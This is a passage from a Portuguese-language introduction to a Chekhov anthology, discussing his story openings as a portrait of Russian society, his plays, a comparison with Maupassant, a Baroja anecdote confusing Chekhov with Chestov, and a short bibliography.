contos e novelas para diferentes regiões. Dostoiewski foi um gigante, criou um
mun­do, mas não nos deu um quadro completo da realidade social russa nos seus
romances. O mesmo podemos dizer de Tolstoi e de Turguenev, que se limitaram a
assestar a objetiva em de­terminados sectores, oferecendo-nos retratos que com
serem magníficos não deixam de ser pouco variados. Somente Gogol pretendeu
realizar em "Almas Mortas" essa panoramização total da Rússia. Não
chegou, porém, a levar a efeito semelhante intento. Já nos referimos ao seu drama
intelectual e de como fracassou o grande projeto que o empolgava. O que Gogol
não logrou fazer, Tchecov, pode-se dizei’, fê-lo com mestria e segu­rança,
embora avançando isso não estejamos estabelecendo um paralelo quantitativo
entre ambos. Um rápido correr de olhos por alguns dos contos do autor da
"Estepe", escolhidos ao acaso, basta-nos para provar o que acabamos
de dizer. Não será preciso prolongar a leitura de cada um. Logo, no início, no
primeiro ou nos primeiros períodos, já o autor apresenta a per­sonagem, indicando-lhe
a profissão, o tipo social, assinalando até mesmo em rápidos traços o ambiente
em que ela gravita e assim um verdadeiro desfile da sociedade russa que
vamos assistindo à nossa frente. Eis aqui o conto: "Lições". Basta
ler as duas frases iniciais: "A ignorância das línguas é para um homem
instruído um grande inconveniente. Vostov sentiu-o vivamente, quando, após
haver deixado a Universidade com o título de licenciado, teve de ocupar-se com
um pequeno trabalho científico*2‘. Aí está, é um licenciado, que
acaba de deixar a Universidade, e em torno da sua condição social e
profissional vai desenrolar-se a história, Prossigamos a revista: Eis o conto
"O bilhete premiado": "Ivan Dmitritch, homem de mediana condição,
vivendo com a família, dentro do orçamento anual de dois mil rublos e muito
feliz com a própria sorte, depois de cear, sentou-se no canapé e começou a ler
o jornal". Não só a condição da personagem, como outras circunstâncias que
a rodeiam são definidas nas primeiras frases. Continuaremos, citando o tópico
de início de diversos contos:

"Há pouco tempo, por ocasião das enchentes,
o proprietário e alferes reformado Vywertov recebia o agrimensor Katavassov,
que fora visitá-lo, de passagem". ("Inválidos")

"Embora seus nervos estivessem
martirizados, após violenta crise de gota que apanhou durante a noite, Kistunov
foi, de manhã, ao escritório, e recebeu no horário habitual os visitantes e
clientes".   ("Uma criatura indefesa")

"Estamos num hospital dispensário da província. Na
ausên­cia do médico que partiu para se casar, o enfermeiro Kuriatin atende os
consulentes".   ("Cirurgia")

"Regressando à sua casa de campo, sob a
impressão de uma sessão espírita que acaba de assistir, o arquitecto Dmitri
Ossi-povitch Vaxin começou involuntariamente a recordar, estirado em sua cama
de solteiro".   ("Amor Impossível")

"Liov Pustiakov, professor de uma escola militar,
naquela manha do Ano Novo, foi à casa do seu vizinho, o tenente Ledentzov".   
(" Condecorado")

"Em conseqüência de circunstâncias que é desnecessário
men­cionar neste momento, tive de ingressar como criado de quarto, a serviço de
um tal Orlov, empregado do governo do tzar, em São Petersburgo".   ("Amor Impossível")

"Semione, cujo primeiro nome era Talkovy e o jovem
tártaro de quem ninguém sabia o nome, estavam sentados numa en­costa junto de
um lume. Os três outros barqueiros tinham ficado na isba,   Semione,
velho de sessenta anos, magro e desdentado, porém de largas espáduas e aspecto
ainda sólido, es­tava embriagado".   ("Os relegados")

"Uma cidadezinha mergulhada na noite. O relógio da ci­dade
marca uma hora. Os advogados Koziarkine e Laev, ambos com humor excelente,
cambaleando ligeiramente, saem da flo­resta e se encaminham para as respectivas
casas". ("Perdi­dos")

"Uma mosca de tamanho médio introduziu-se no nariz do
Conselheiro da Corte Gaguine, substituto do procurador".
("Notário")

"Seis horas. Uma noite de junho. Da parada de Khilkovo
uma enorme multidão se escoa para a cidade, São passageiros do trem. Na
maioria, pais de família, carregados de pastas, de embrulhos e de encomendas
das senhoras".   ("Os Indesejáveis")

"Sou um homem sério e o meu cérebro tem
características filosóficas. Por profissão, sou economista, estudo direito co­mercial,
e estou escrevendo uma tese intitulada: "O passado e o futuro dos impostos
sobre cães". ("Diário de um homem generoso")

"Num dia de descanso, o condutor-chefe Stytchkine
recebeu a visita de Lionbov Grigorievna, senhora forte, bem conser­vada, com
mais ou menos quarenta anos de idade, que se ocupava de casamentos e outros
assuntos sobre os quais só é permitido falar em voz baixa".
("Desfecho feliz")

"O juiz Grichoutkine, homem idoso, que exercia as
funções de magistrado mesmo antes da emancipação dos servos, e o melancólico
doutor Svistitski, iam proceder a uma autópsia". ("E pur si
muove")

Não queremos prosseguir nos exemplos, pois os que já cita­mos
são suficientes para mostrar ao leitor como, pelo simples início de cada conto
de Tchecov, poderemos formar uma ga­leria completa da sociedade russa. Já
aludimos à acusação que se fez ao contista de não ter idéias. Na verdade,
enquanto vai retratando essa diversidade imensa de tipos, mostrando o ho­mem
russo com seus vícios, suas paixões, suas manias, suas virtudes, suas
tendências particulares — ora na riqueza, ora na miséria, ora no trabalho, ora
na vagabundagem — Tchecov não tem em mira a demonstração de nenhuma tese,
nenhum propósito premeditado de provar isto ou aquilo. É um artista e não um
pensador.  A função do artista é exprimir a vida — a verdade humana em termos
estéticos — e não concluir. As conclusões são os pensadores, os filósofos, os
sociólogos que as derem tirar. A estes, o artista limita-se a oferecer os
elemen­tos. Não será demasiado dizer, pois, que da obra de Tchecov se pode
tirar todo um ensaio histórico e sociológico sobre a Rússia do último quartel
do século passado. Mas será dimi­nuir-lhe as proporções considerar essa obra
confinada a tais limites. Ela transcende as fronteiras da Rússia para abranger
toda a humanidade. O que surpreendemos nessas diferentes personagens de tão
variadas profissões e de múltiplas cate­gorias sociais, é, no fundo, a
incógnita humana.

*
*        *

Uma seleção de contos de Tchecov cria um
problema tão embaraçante como uma seleção de contos do nosso Machado de Assis,
tal o número de obras-primas (pie pululam na novelística de ambos. Estamos
certos, entretanto, de que as páginas escolhidas para este volume satisfarão
plenamente o leitor; se a seleção se torna difícil por um lado, devido à
diversidade das predileções, por outro lado, a escolha ao acaso é o bastante
para levar-nos a enfeixar algo do que Tchecov possui de melhor.

Além dos contos figura aqui a novela "A Estepe",
que tem feito a popularidade do autor em todo o mundo, e na qual ele manifesta
amplamente a capacidade de criar um mundo com muito pouca coisa e produzir uma
forte emoção sem truques nem "ficelles". Os contos pertencem quase
todos à categoria que denominamos de situação, por ser esta, de certo, a que me­lhor
caracteriza a arte de Tchecov e na qual ele denuncia maior virtuosidade. Mas no
conto "O beijo" pode-se assinalar uma espécie de combinação entre as
duas categorias:’possui um subs­trato anedótico, residindo, no entanto, o seu
principal interesse no vago mistério determinado pela situação. Quase nenhuma
intriga distinguiremos no conto "La Cigale", que deixará a mais duradoura impressão no espírito do leitor. A arte pro­digiosa de Tchecov
manifesta-se, aí, principalmente na fixação dos tipos. Poucas páginas bastam
para ele realizar um estudo psicológico do melhor quilate e fazer viver — fazer
pensar, sentir, palpitar diante de nós — duas criaturas humaníssimas: o médico
que se sacrifica obscuramente pela esposa e a esposa, a doidivana, a
"cigarra", que só reconhece o bem que perdeu quando vê o marido às
portas da morte. "Sonhos" é outro mo­delo dessa perícia de Tchecov de
tirar muito do nada: apenas um vagabundo conduzido à prisão por dois soldados,
através das solitárias estradas da Rússia. Sem que o pobre diabo fuja ou tente
fazê-lo, sem que se revolte, sem que qualquer acidente de monta venha perturbar
a jornada, o leitor terá a atenção presa nessa página e deixá-la-á
verdadeiramente comovido. Quanto ao conto "O Buraco" não precisamos
dizer mais de que 6 um quadro animado da vida do camponês russo, um dos
tipos mais familiares a Tchecov e em cuja psicologia rudimentar ele penetrou
com maior argúcia.

#
#        #

O conto, principalmente o conto curto, foi, por excelência,
o gênero de Tchecov, gênero que, pode-se dizer, ele inaugurou na literatura
russa. Por vezes, entretanto, estende-se em nar­rativas mais longas, chegando,
como no caso da "Estepe**, a fazer aquilo que, impropriamente, denominamos
novela. Nunca, porém, atingiu as dimensões do romance. Fora do conto c da
novela, o que particularmente o atraiu foi o teatro. E aqui também se tornou um
inovador. Suas cartas de 1887 a 1S89 exprimem a todo momento observações sobre
a arte dramática, e por estas se conclui que Tchecov tanto se sentia seduzido
pelo teatro, quanto as peças que se representavam na Rússia, na época, o
aborreciam. Ele via nelas a ausência daquilo que constituía a razão de ser de
sua atividade literária: a arte. Assim, quando começa a escrever para o teatro,
seu propósito ê essencialmente o de romper com a rotina. "Uma das coisas
que mais o irritavam era a estandardização dos tipos, de há muito obedecida
pelos teatrólogos russos. Em carta a um amigo, Tchecov escreve: "Não se
esqueça de que as declarações de amor, as infidelidades dos maridos e das
esposas, as lágrimas das viúvas e dos órfãos já vêm sendo descritas há muitos
séculos. O assunto deve ser novo, e a efabulação anedótica não se torna
absolutamente necessária." Como se vê, o escritor adotara no teatro
princípio idêntico ao que já havia adotado em gran­de parte dos seus contos: a
supressão da fábula. Em outra carta, considerando tudo quanto lhe parecia
artifício, "falsa elegância" na
literatura dramática russa contemporânea, ele acentuava: " O teatro atual
não "passa, de uma doença, de nossas cidades; precisamos banir essa
vérmina; nada mais inconve­niente do que tolerá-lo".

Assim, pois, como observa M. Hoffmann, o teatro
de Tchecov foi, essencialmente, destrutivo e revolucionário, sob o ponto de
vista artístico. Ao escrever a primeira peça "Ivanov", ao sabor da
inspiração, sem o rigor de composição que lhe era peculiar, o autor declara:
”Não sei o que isto vai sair; basta que aí não se encontrem nem anjos, nem
demônios e eu me preserve de condenar ou absolver quem quer que seja".

Contudo, essa primeira peça não agradou Tchecov. Sentiu não
haver atingido nela a originalidade que baseara. Logo de­pois escreve e faz
representar "A Gaivota", que fracassa in­teiramente, mal recebida
pelo público e pela crítica. Nem por isso desanima e, dentro da diretriz que
traçara de despojar a obra teatral de todas as convenções, todos os padrões
tradicio­nais, compõe a sua terceira peça "Três Irmãs". Justificando
o processo, escreve a um amigo: "Na vida real não vemos, a todo momento,
criaturas dando tiros no ouvido, enforcando-se ou fazendo declarações de amor.
E não as vemos, igualmente, dizendo, a todo instante, coisas inteligentes. O
que estamos acostumados a ver, na vida corrente, é as pessoas tratarem dos seus
negócios, comerem, beberem e dizerem vulgaridades, to­lices. Pois bem, o
artista deve cuidar de pôr isso em cena. Precisamos fazer uma peça em que as personagens apareçam no ritmo comum da existência, indo de um lado para outro,
falando sobre o mau tempo, jogando o whist, enfim, a vida pro­saica, de
todos os dias".

Entretanto, essa vida prosaica, de todos os
dias, era que não se passa coisa alguma digna de nota, basta ser encarada, ser
traduzida por um temperamento essencialmente artístico, como o de Tchecov, para
tomar outro sentido, e transfigurar-se. O realismo, como cópia senil da
existência, só se coaduna com os espíritos sem capacidade de criação artística.
Querendo expri­mir no teatro a banalidade quotidiana, Tchecov, grande artista,
transfigurou essa banalidade. Em "Três Irmãs" o assunto pode
resumir-se no seguinte: Um regimento de infantaria chega a uma cidadezinha de
província. O coronel Kulyguine apaixona-se pela mulher do professor de um liceu
local; outro oficial e- põe-se a namorar a irmã
desta. As personagens conversam, deixando entrever as mais diferentes reações
íntimas, inquietam-se, so­nham, pensam em partir para Moscou, mas o regimento
acaba deixando a cidade e os que ali ficam retornam à monotonia diária. Â vida
continua… — tal o estribilho de toda a obra de Tchecov. Logo depois, ele
escreve o "Tio Vânia", história de um homem que vive isolado na sua
propriedade rural afas­tada dos centros urbanos. Um dia ali chega uma jovem ele­gante
e bela, mulher de um professor. Todos começam a agitar–se em torno dela,
inclusive o tio Vânia, que será, talvez, o que mais sofre. Mas, a mulher não tarda
a ir-se embora com o marido e a vida do pequeno burgo campesino recai na pasmaceira
habitual. Na "Casa das Cerejas", vemos a sra. Ranevskaia, chegando de
Paris completamente arruinada. Sua propriedade vai ser vendida em leilão. Todos comentam o caso, propõem soluções, mas ninguém faz praticamente nada. E
a peça ter­mina com o velho mordomo, encerrado na habitação vazia e já levada a
leilão, a esperar tranqüilamente a morte.

"A ausência de intriga — diz Hoffmann — torna lento o
ritmo da ação dramática, fazendo com que soem como que em surdina as vozes das
personagens; elas falam devagar, calam-se com freqüência, limitam-se, às vezes,
a simples gestos, ou ficam por muito tempo imóveis. O diálogo é descosido,
cheio de tran­sições bruscas e de pausas. Às palavras, em lugar de exprimi­rem
os sentimentos, dissimulam-nos. Às personagens, domina­das por uma emoção
profunda, falam do tempo, cantarolam, riem para não chorar, bebem vodka e
caçoam de si mesmas. Ma­nifestam absoluto horror aos movimentos violentos, aos
gestos decisivos, às grandes frases. Desconfiam dos próprios senti­mentos,
detestam as situações patéticas e permanecem sempre numa atitude irônica. No
momento que algum herói de Tche­cov se põe a falar coin paixão começa a
julgar-se ridículo e conclui sua tirada por um gracejo trivial. Essa gente
modesta e obscura tem o pudor dos próprios sentimentos que lhe parece confinar
com a covardia; nobre de coração e delicada de espí­rito, envergonha-se de suas
qualidades e as denigre com uma espécie de volúpia. Não se exterioriza jamais;
a vida íntima de tais criaturas permanece profundamente oculta e não vemos em
cena mais do que sombras, que nunca agem e se declaram vencidas antes do
combate".

As personagens das peças de Tchecov estragam,
assim, a pró­pria vida, talvez porque sintam* a inutilidade de viver. No
"Tio Vânia" Sônia diz: "Trabalharemos para os outros sem
conhecer o repouso e quando nossa hora chegar morreremos com resignação. Lá no
outro mundo diremos que sofremos, que choramos cá em baixo e veremos uma vida
luminosa, bela, en­cantadora, que nos encherá de regozijo. Lançaremos para as
nossas infelicidades de hoje um olhar cheio de ternura sorri­dente e
repousar-nos-emos, enfim".

Eis a esperança de tais heróis. De onde a
tristeza, a névoa de melancolia que paira sobre eles. No fundo, são apenas
concretizações dos sentimentos e das inquietudes do autor. O teatro de Tchecov
é essencialmente lírico. Nele só existe, na realidade, uma personagem: o autor
a falar pela boca das per­sonagens. E não fosse Tchecov um grande artista e
nunca con­seguiria manter de pé semelhantes fantoches.

Compreende-se a repulsa, inicial do público e da crítica.
Além disso, um teatro de tal feitio necessita intérpretes inteligentes e de
primeira ordem. Vencendo todas as dificuldades, Tchecov veio afinal a
conquistar no palco o êxito merecido, conseguindo provar como se podia fazer um
teatro diferente do que tanto entusiasmava os russos. Não tardou para que surgissem
os imi­tadores. Toda uma literatura dramática se formou na Rússia em torno dos
heróis de Tchecov — diz um crítico.

# # #

Quando falamos nos contos do autor da
"Estepe", pensamos, comumente, em Guy de Maupassant. De certo porque
ambos foram de uma fecundidade extraordinária no gênero. Outras aproximações
não serão, talvez, possíveis. Lembramo-nos de ha­ver lido, há uns dez anos, no
hebdomadário parisiense "Les Nouvelles Litteraires" um artigo de
Robert de Traz sobre Tche­cov e Maupassant, no qual o autor frisava as
diferenças sensí­veis entre ambos. Lamentamos não ter à mão essa página, para
examinarmos os argumentos do crítico. Uma dessemelhança podemos, no entanto,
estabelecer desde já: Tchecov é um poeta e Maupassant, com todo seu talento
criador, não o é. O que recorda Maupassant em Tchecov é a riqueza da inventiva
anedótica; mas isso apenas nos contos em que este último lança mão de uma
intriga, de um enredo, nos contos pertencentes à primeira das duas categorias
da nossa classificação. Nas nar­rativas de situação lembrar Maupassant será
forçar muito o parentesco. Além disso, outra diferença radical, ligada, aliás,
à própria natureza poética dos relatos de Tchecov: neste último tudo termina em
reticências, em contornos vagos que deixam no espírito do leitor uma .sensação
"exquise" de mistério; en­quanto em Maupassant não há mistério, nem
reticências; ele diz tudo que tinha a dizer; seus contos podem despertar-nos
qualquer espécie de impressão (e não vai nessa diferença de feitio nenhuma
censura ao francês) menos a da evanescência do esfumado em que reside a poesia
de Tchecov.

*
*       *

Concluamos: Tchecov abriu um novo horizonte na
literatura russa. Já vimos como, pintando uma época e uma sociedade, ele, pela
sua força criadora, superou a ambas. E o leitor facil­mente se encontrará
nessas personagens tão representativas da Rússia de Alexandre III. Além disso, mima
literatura pre­ocupada em visionar os problemas de um povo, em exprimir idéias,
filosofias, concepções da vida, ele veio reabilitar o su­premo valor da arte,
mostrando que o escritor difere do polí­tico, do pensador e do filósofo, seus
instrumentos são diversos, embora lhe seja dado traduzir os anseios, as
inquietudes e as angústias destes últimos. O escritor é um artista, e é por
meio da arte que tem de atingir os seus fins. Tchecov horrorizava–se com a
incompreensão literária da maior parte dos homens que dominavam no jornalismo e
no mundo das letras no seu tempo. Acusando a decadência intelectual do ambiente
ele cla­mava em tom profético: " Sapos e crocodilos vão dentro em breve
reinar na Rússia. Pessoas de vistas estreitas, com pre­tensões ilimitadas e um
amor-próprio desmesurado, gente intei­ramente desprovida de escrúpulos
literários e sociais farão sua aparição. Tornarão o ar absolutamente
irrespirável, aborrecen-do-nos da literatura que enviaremos ao diabo, abrindo
campo livre para os charlatães". As letras abastardadas por interesses
estranhos à arte pareciam-lhe um crime e era esse aviltamento que o
desesperava. Modesto, sempre insatisfeito com o que reali­zava, nunca julgou
ter atingido o ideal literário que visava, embora reconhecesse haver aberto um
caminho por onde mui­tos outros haviam de transitar. E esses outros colheriam,
de certo, a glória que ele não julgava haver merecido.

Nota:

O nome de Tchecov tem sido, nos países
ocidentais, muito confundido com o de Tchertkov, o homem que se tornou conhe­cido
no mundo inteiro unicamente por haver sido amigo íntimo de Tolstoi. O grande
romancista espanhol Pio Baroja refere–se também a um caso curioso de equívoco
entre Tchecov e outro escritor russo, este filósofo, filiado à corrente cristã
do existencialismo: Chestov, cujo falecimento se deu há cerca de dois anos. O caráter
pitoresco do episódio induziu-nos a ofe­recê-lo aqui ao leitor, à margem desta
introdução, extraindo-o do segundo volume das interessantíssimas memórias de
Baroja.

"Num jantar do Pen Clube de Paris — conta o
autor de "Za-acain" — estive ao lado de Wells, então um homem forte,
de uns sessenta anos, tipo pícnico, com tendências para o hexagonal. A mim
nunca me produziram muito entusiasmo seus livros, nos quais há como (pie um
fundo de má intenção para com a humanidade, manifesta, sobretudo, nas novelas.
Wells conversou com os que se achavam perto, mas não disse nada de curioso. Ao
terminar o banquete e ao sairmos da sala um pintor espanhol advertiu-me:
"— Sabe que está aqui Tchecov, o escritor russo?" "—Tchecov? Mas
creio ter lido que ele já morreu há muito tempo. E tratando-se de um escritor
famoso deviam tê-lo posto na mesa presidencial". "— Pois está aqui,
sim, já mo indicaram".

Encontrávamo-nos num patamar e logo o pintor me
disse: "— É aquele, vamos saudá-lo". "— Eu não; li pouca coisa
dele, não saberia falar dos seus livros".

O pressuposto Tchecov tinha assim um ar de
funcionário ou de professor de colégio.  O pintor e outro amigo espanhol foram cumprimentá-lo,
e como me chamassem não pude esquivar-me e também ir.  Os dois espanhóis diziam
a esse suposto Tchecov e ele muito conhecido na Espanha. E o Tchecov falso ou
verdadeiro dizia-. "— Nunca soube que os meus livros tivessem sido
traduzidos para o castelhano".   A mim chocou-me muito essa resposta e
pensei logo se em tudo aquilo não estava havendo equívoco. Efectivamente,
havia. O homem não era Tchecov, mas Leon Chestov, escritor russo também e creio
que filósofo — conclui Baroja na sua displicência.

BIBLIOGRAFIA

A bibliografia sobre Anton Tchecov é muito
escassa em outra língua que não seja o russo. Poucos elementos podem ser
colhidos cm obras, como "La Litterature Russe", de Jules Legras, "La Literatura Russa — Los Ideales y Ia Realidad ", de P. Kropotkine, que citamos
várias vezes, ou em outros tratados resumidos do mesmo feitio, que por aí
andam. Da " Histoire de Ia Litterature Russe’", de M. Hoffmann,
tradução francesa, há uma edição resumida (Crêne-Paris) e outra de maiores
proporções, (Payot-Paris) da qual retiramos alguns preciosos subsídios.
Recorremos igualmente à tradução francesa da correspondência do escritor:
"Correspondence", 2 vols. Edição Stock — Paris.

XXIX

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